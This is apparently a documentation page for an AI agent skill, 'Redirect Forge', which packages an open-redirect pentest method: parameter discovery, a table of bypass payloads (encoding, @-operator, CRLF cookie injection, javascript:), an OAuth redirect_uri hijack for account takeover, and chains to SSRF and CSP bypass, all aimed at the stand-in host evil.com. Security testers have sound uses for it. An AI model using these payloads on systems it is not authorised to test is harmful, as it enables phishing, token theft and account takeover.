> ## Documentation Index
> Fetch the complete documentation index at: https://community.rifteo.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Redirect Forge

> Complete open redirect detection and exploitation methodology parameter discovery, 30+ bypass techniques, OAuth token theft, SSRF chaining, CSP abuse, phishing escalation, and report structure. Trigger when the user asks to test for open redirect or unvalidated redirect/forward, sees a parameter like ?next=/?url=/?redirect=/?return=/?goto= in a URL, wants to steal OAuth tokens via redirect_uri manipulation, needs to chain open redirect into SSRF/CSP bypass/account takeover, sees a 30x response with a controllable Location header, or wants to bypass a redirect allowlist.

<Info>
  **Status:** Stable
  **Version:** 1.0.0
  **Author:** Rifteo
  **Tags:** pentest, security, web
</Info>

**Installation**

```bash theme={"system"}
rifteo-skills add redirect-forge
```

***

## Summary

Detect and exploit open redirect vulnerabilities across all parameter types, then escalate to OAuth token theft, SSRF, CSP bypass, and phishing.

* Phase 1 discovers redirect parameters via passive recon (gau, waybackurls), active crawling (katana), HTTP header abuse, and OAuth/SSO-specific parameters
* Phase 2 verifies basic open redirect with a canary before reaching for bypasses
* Phase 3 covers 13 bypass technique categories: protocol substitution, allowlist suffix/prefix bypass, @ operator, URL encoding, double encoding, Unicode/IDN, path traversal, IPv6/IP confusion, parameter pollution, fragment tricks, case sensitivity, and CRLF injection
* Phase 4 targets OAuth `redirect_uri` the highest-impact variant with bypass techniques and token capture setup
* Phase 5 documents escalation chains: redirect → SSRF, redirect → CSP bypass, redirect → phishing, redirect → SAML/SSO token theft
* Phases 6–8 cover blind open redirect via OOB, automated testing with openredirex/ffuf/nuclei, and a complete report structure with CVSS vectors

***

## SKILL.md file

<Accordion title="Discover skill details">
  ### Redirect Forge Open Redirect

  #### What Does It Check?

  **In scope:**

  * All redirect parameter names: redirect, return, next, goto, url, dest, forward, callback, and 20+ more
  * HTTP headers that trigger redirects: Referer, X-Original-URL, X-Forwarded-Host, Host
  * OAuth/SSO parameters: redirect\_uri, callback\_url, post\_logout\_redirect\_uri
  * 13 categories of bypass techniques for allowlists and WAF rules
  * Escalation chains: OAuth token theft, SSRF, CSP bypass, CRLF injection, phishing

  **Out of scope:**

  * Redirects to the same domain with no external navigation (not a vulnerability)

  #### How It Works

  **Phase 1: Discover Redirect Parameters**

  ```bash theme={"system"}
  gau target.com | grep -iE "(redirect|return|next|goto|url|dest|redir|forward|target|callback)=" | sort -u
  ```

  **Phase 2: Verify Basic Open Redirect**

  ```
  https://target.com/login?next=https://evil.com
  ```

  Confirm: the browser ends up at `https://evil.com`.

  **Phase 3: Bypass Techniques**

  | Category              | Examples                                                    |
  | --------------------- | ----------------------------------------------------------- |
  | Protocol substitution | `//evil.com`, `///evil.com`, `javascript:alert(1)`          |
  | @ operator            | `https://target.com@evil.com`                               |
  | URL encoding          | `%2F%2Fevil.com`, `%09//evil.com`, `%00//evil.com`          |
  | Double encoding       | `%252F%252Fevil.com`                                        |
  | Unicode               | `https://ⓔvil.com`, `https://evil。com`                      |
  | Fragment tricks       | `https://evil.com#.target.com`                              |
  | CRLF injection        | `?url=https://evil.com%0d%0aSet-Cookie:%20session=hijacked` |

  **Phase 4: OAuth redirect\_uri Exploitation**

  Replace `redirect_uri` with attacker server → victim completes OAuth → auth code delivered to attacker → account takeover.

  Chain with same-domain open redirect when the IdP whitelists `https://target.com/*`:

  ```
  redirect_uri=https://target.com/go?to=https://evil.com
  ```

  **Phase 5: Escalation Chains**

  | Chain                        | Severity | Conditions                                    |
  | ---------------------------- | -------- | --------------------------------------------- |
  | Redirect → phishing          | Medium   | Standalone brand trust abuse                  |
  | Redirect → OAuth token theft | Critical | OAuth implicit flow + redirect on same domain |
  | Redirect → SSRF              | Critical | Server fetches URL before redirecting         |
  | Redirect → CSP bypass + XSS  | Critical | Trusted domain whitelisted in CSP             |

  #### Output

  | Severity | Condition                                                 |
  | -------- | --------------------------------------------------------- |
  | Critical | OAuth/SAML token theft, SSRF chain, CSP bypass → XSS      |
  | High     | Credential phishing with CRLF or session leak via Referer |
  | Medium   | Standalone open redirect for phishing (no token theft)    |
  | Low      | Redirect to same domain, or requires authenticated victim |

  #### Known Limitations

  * App that redirects to a fixed list of URLs is not vulnerable verify redirect destination is truly attacker-controlled
  * `Location` header present but middleware blocks external domains downstream → false positive; test with actual browser or curl -L
</Accordion>

***

## Related skills

<CardGroup cols={3}>
  <Card title="ssrf-hunter" href="/skills/ssrf-hunter">
    Complete SSRF detection and exploitation methodology cloud metadata, internal network enumeration, and bypass techniques
  </Card>

  <Card title="hpp-hunter" href="/skills/hpp-hunter">
    Complete HTTP Parameter Pollution methodology WAF bypass, OAuth abuse, payment manipulation
  </Card>

  <Card title="xss-hunter" href="/skills/xss-hunter">
    Complete XSS testing methodology reflected, stored, DOM-based, blind, and mutation XSS
  </Card>
</CardGroup>
